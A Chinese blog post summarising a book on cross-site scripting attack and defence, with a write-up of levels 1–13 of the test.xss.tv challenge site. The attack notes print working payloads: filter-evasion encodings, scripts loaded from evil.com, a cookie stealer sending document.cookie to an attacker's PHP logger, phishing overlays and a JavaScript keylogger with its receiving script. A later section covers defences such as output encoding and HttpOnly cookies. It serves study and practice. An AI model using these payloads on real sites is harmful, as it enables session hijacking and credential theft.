前几个星期拜读了《XSS跨站脚本攻击剖析与防御》,总结了一下书中的知识点

又做了一个xss平台的部分题目,wp放在最后

平台地址:http://test.xss.tv/

目录:

XSS利用方式

使网页不停刷新

<meta http-equiv="refresh" content="0;">

嵌入其他网站的链接

<iframe src=https://www.baidu.com></iframe>  

利用javascript:[code]伪协议进行XSS

<table background="javascript:alert(/XSS/)"></table>
<img src="javascript:alert('XSS');">

一般只有引用文件的属性才能触发JavaScript

对标签属性值转码

html属性值本身支持ASCII码

<img src="javascrip&#116&#58alert(/xss/);">
tascii码为116:则为58
还可以把tab(&#9)、换行符(&#10)、回车符(&#13)插入到代码任意地方
<img src="java&#09;scri&#10;pt:alert(/xss/)">

事件处理函数

<input type="button" value="click me" onclick="alert('click me')" />
<img src="#" onerror=alert(/xss/)>

CSS跨站剖析

<div style="background-image:url(javascript:alert('xss'))">

IE5及之后版本支持css使用expression:

<img src="#" style="xss:expression(alert(/xss/));">

其他:

<img style="background-image:url(javascript:alert('xss'))">

还可以从其他目标机引用:

假设样式表文件地址为”http://www.evil.com/attack.css” 其中嵌入了xss代码

那么exploit为:

<link rel="stylesheet" href="http://www.evil.com/attack.css">

除了使用link标签外,还可以用@import将其导入:

<style type='text/css'>@import url(http://www.evil.com/attack.css); </style>

@import还可以直接执行js:

<style>
		@import 'javascript:alert("xss")';
</style>

扰乱过滤规则

这里一般为转换大写/小写、大小写混用、双写

还可以结合注释符/**/(在样式表中会被忽略)、样式标签中的\和结束符\0来混淆

还可以将css中的关键字转码,如e转为\65、\065、\0065

具体是否成功要看用户的浏览器类型

利用字符编码

<img src="#" onerror="alert('xss');">
<img src="#" onerror="&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59">

还可以使用javascript中的eval()函数执行alert

用\连接十六进制字符串也可以绕过:

如alert(“xss”);可转换为\x61\x6C\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29\x3B

还可以使用JScript Encode或VBScript.Encode来加密

拆分跨站法

此方法用于未过滤但对输入字符数有限制且能重复提交时

	<script>z=document.write</script>
	<script>z=Z+write(” </script>
	<script>z=z+<script></script>
	<script>z=z+ src=ht</script>
	<script>z=z+tp://ww’</script>
	<script>z=z+w.shell</script>
	<script>z=z+.net/1.</script>
	<script>z=z+js></sc’</script>
	<script>z=z+ript</script>
	<script>eval(z)</script>
	document.write'<scrip>  src=//www.shell.net/1.js></scrip>')

这样引用了一个z变量来把一个完整的exploit拆分成几次来提交

实际利用可以使用注释符注释掉不需要的部分

	<script>z=<scrip src=;/*
	*/z+=http://www.test.c’;/*
	*/z+=’n/l.js<\/scrip>;/*
	*/document.write(z)</script> 

Shellcode的调用

可以使用scrpit的src属性引用远程服务器上的js脚本

还可以使用dom来引用

var s = document.createElement("script");
s.src = "http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);

如果只是解决url字符长度,还可以用window.location.hash

	php?sort="><script>eval(location.hash.substr(1))<script>#alert('xss')

利用substr抽取#后的字符,即alert(‘xss’)

cookie劫持

可使用以下方法获取cookie,其中url为远程服务器获取cookie的php文件

<script>
document.location="http://www.test.com/cookie.php?cookie='+document.cookie"
</script>

php代码如下:

<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie."\n");
fclose($log);
?>

可以在网站后台获取管理员的cookie,构造添加管理员的url,即可悄悄创建一个管理员用户

还有一种方法是在xss漏洞处插入下列代码:

<script src='http://1.1.1.1/a.js'></script>

这里1.1.1.1可以是我们抓到的肉鸡,用来作为攻击的中转,其目录下的a.js代码如下

var img = new Image();
img.src="http://1.1.1.2:88/cookie.php?cookie=" + document.cookie;

1.1.1.2即为我们的攻击机,此时我们用nc监听我们的88端口,当触发xss漏洞时,用户的cookie就会放在http请求头中发送过来

反射型XSS攻击者可通过十进制、十六进制、ESCAPE等编码处理url来迷惑用户

钓鱼攻击

  1. 攻击者可构造一个登录的钓鱼界面,含有用户名和密码的表单,action为远程服务器上接收用户名和密码的php脚本

  2. 攻击者可在xss页面的url中插入
    <script src="http://www.evil.com/xss.js"></script>
    

    xss.js里使用document.body.innerHTML来插入一个宽高都是100%的iframe来覆盖页面,在iframe再加载远程钓鱼界面

  3. XSS重定向 在参数中加上
    <script>document.location.href="http://www.evil.com"</script>
    

    这会将用户重定向到另一个网站中

  4. HTML注入 可以直接把一个登录界面的代码写入url中,这样界面上就会出现一个登录的表单,可以覆盖原页面

  5. xss跨框架钓鱼 依旧是可以在url写入一个iframe,这样会覆盖掉原界面。

  6. 高级钓鱼 可以使用js劫持表单,劫持链接的onclick,监听键盘的onkeydown,遍历form表单元素抓取重要字段,键盘记录器
    // keylogger.js
    document.onkeypress = function(evt) {
         evt = evt || window.event
         key = String.fromCharCode(evt.charCode)
         if(key) {
                 var http = new XMLHttpRequest();
                 var param = encodeURI(key)
                 http.open("POST","http://192.168.1.127/keylogger.php",true);
                 http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
                 http.send("key="+param);
         }
    }
    
    <?php
    // keylogger.php
    $key=$_POST['key'];
    $logfile="keylog.txt";
    $fp = fopen($logfile,"a");
    fwrite($fp,$key);
    fclose($fp);
    >
    

Javascript/css history hack

主要是利用css的link、visited、active、hover属性和dom的getComputedStyle()函数 还可以获取用户的搜索引擎信息,即获取特定的搜索内容的url时,用js判断用户是否搜索过这个内容

客户端信息刺探

可以利用js进行端口扫描,还可以窃取客户端剪贴板,获取客户端ip等

##其他恶意攻击

1. 网页挂马

一般还是通过iframe标签链接到一个含有木马的网页,此时iframe宽高要设置为0

2. DOS和DDOS

可通过注入js代码实现Dos,如:

<script>for ( ; ;) alert("xss");</script>
<meta http-equiv="refresh" content="0">

3. xss病毒/蠕虫

利用工具

可以使用kali下的xsserbeef来利用xss漏洞

XSS Cheat Sheet

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet


XSS防御

防御XSS的一般方法有两种:Input Filtering(输入端过滤)Output Filtering(输出端过滤)

输入过滤

两方面:输入验证数据消毒

1. 输入验证

这个主要是在客户端使用脚本限制

主要验证:

输入是否仅包含合法字符

输入字符串是否超出最大长度限制

输入的数字是否在指定范围内

输入是否符合格式要求,如email和ip

2. 数据消毒

最基本的要在服务器端验证如下敏感字符(不限于以下几个)

< > ‘ “ & # javascript expression

3. 输出编码

大部分web应用都会把用户输入完完整整的输出在页面中,这样很容易产生xss

通常使用HTMLEncode来处理,即将用户输入内容html实体化

如php的htmlspecialchars()函数

黑名单与白名单

黑名单式过滤非常不安全,经常会被攻击者通过大小写混淆和双写来绕过

但黑名单当然会给用户更自由的空间,更好的体验

白名单在程序编写时较困难,且仅允许特定格式的语法

总体来说,将未信任数据嵌入到任何输入之前都应按照上下文的转义规则对其进行编码

防御DOM-Based XSS

防御基于以下两点:

1. 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现

2. 分析和强化客户端JavaScript代码,尤其时一些受到用户影响的dom对象

其他防御方式

1. Anti-XSS

是微软开发的防止XSS的类库,提供了大量的编码函数用于处理用户的输入,可实现输入白名单机制和输出转义

2. HttpOnly Cookie

基本语法:

Set-Cookie: =[; =] [; expires=][; domain=] [; path=][; secure][; HttpOnly]

当被标记为HTTPOnly时,支持cookie的浏览器将拒绝JavaScript直接访问该cookie

php中设置方法:

php.ini中session.cookie_httponly=1

setcookie()中第七个参数为true时即开启httponly

在php代码中开启

<?php
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);
?>

PS:并不是所有的浏览器都支持httponly


XSS挑战之旅

Level 1

第一关是最基础的XSS,直接将url中的name参数的值改为

payload
<script>alert(1);</script>

Level 2

审查元素发现输入的内容在input标签中,因此需要闭合标签 Alt text

payload
"><script>alert(1);</script>

Level 3

这次输入的内容仍然在input标签中,用level2的payload没有反应,但审查元素中闭合以及js语句是没问题的

查看源代码才发现尖括号<>被html实体编码了

那么我们通过事件响应来弹窗,闭合掉input框中value属性的双引号

payload
' onclick=alert(1) '

此处不知为何要用单引号闭合,双引号不可以

再单击一下输入框即可弹窗

Level 4

这次依旧是一个input框,与Level 3原理一样,此处是用双引号闭合

payload
" onclick=alert(1)"

Level 5

又是input框,用Level 4的payload尝试一下,审查元素发现onclick变成了o_nclick

尝试一下大小写混淆绕过,用oNclick来代替onclick,没有成功。。

那么尝试一下用a标签加上js伪协议来弹窗

payload
"><a href="javascript:alert(1)">

页面出现一个链接,点击后成功弹窗

Level 6

这次仍然是input框,这次用a标签和js伪协议失败了,原因是href变成了hr_ef,尝试一下能不能大小写混淆绕过,成功!

payload:
"><a hRef="javascript:alert(1)">

Level 7

又是input框。。采用Level 5的payload,审查元素发现href整个被过滤了,再尝试后发现script和on都被过滤掉了

根据这种情况首先想到双写来绕过,直接用最基础的script标签加双写

payload:
"> <scrscriptipt>alert(1);</scrscriptipt>

Level 8

Alt text 这次的界面是这样,可以看到是添加友情链接

先输入a测试一下 Alt text 可以看到输入的内容会被放在http://test.xss.tv/的后面,我们可以使用javasript伪协议来弹窗

但输入后到url中发现javacript变成了javascr_ipt,大小写混淆不能绕过

那么就把javascript用html实体编码吧

payload:
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

点击友情链接,成功弹窗

Level 9

这次仍然是添加友情链接,发现无论怎样友情链接的值始终是:

http://test.xss.tv/您的链接不合法?有没有!

那我们就要猜测后台是如何判断链接是否合法的,因为后面的域名是各种各样的,肯定不能通过域名来检测,那么想必是输入的内容包含http://就会被认为合法

这一关中script仍然会被净化为scr_ipt

payload
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

点击友情链接后成功弹窗

Level 10

第十关页面没有了登录框,url中的keyword参数使用正常的js标签和js伪协议都不能成功利用

查看一下源代码,发现了三个属性为hidden的input标签 Alt text 此处没有指定get和post,可以在地址栏中传入t_link等参数,将value参数值闭合,添加type值为text,然后采用触发事件来弹窗

经测试只有t_sort可以利用

payload:
&t_sort=" type="text" onclick='alert(1)'"

点击输入框,弹窗成功

Level 11

这一关跟第十关类似,查看源代码有几个隐藏的表单 Alt text 观察发现t_ref中的内容竟然是我们上一关通关时传参的url,因此我们猜测这个input标签里的内容是http头中referer的值

那么我们就抓包修改referer头

payload:
" type='text' onclick=alert(1) "

释放数据包后,点击出现的登录框,弹窗成功

Level 12

看到页面没有输入框什么的,直接查看源代码吧 Alt text 很明显t_ua中的value属性值为http头user-agent的值

因此我们这次抓包修改user-agent即可

payload:
" type='text' onclick=alert(1) "

Level 13

这次查看源代码发现一个名为t_cook的input标签,猜测这次是修改cookie来弹窗,payload与前面两个相同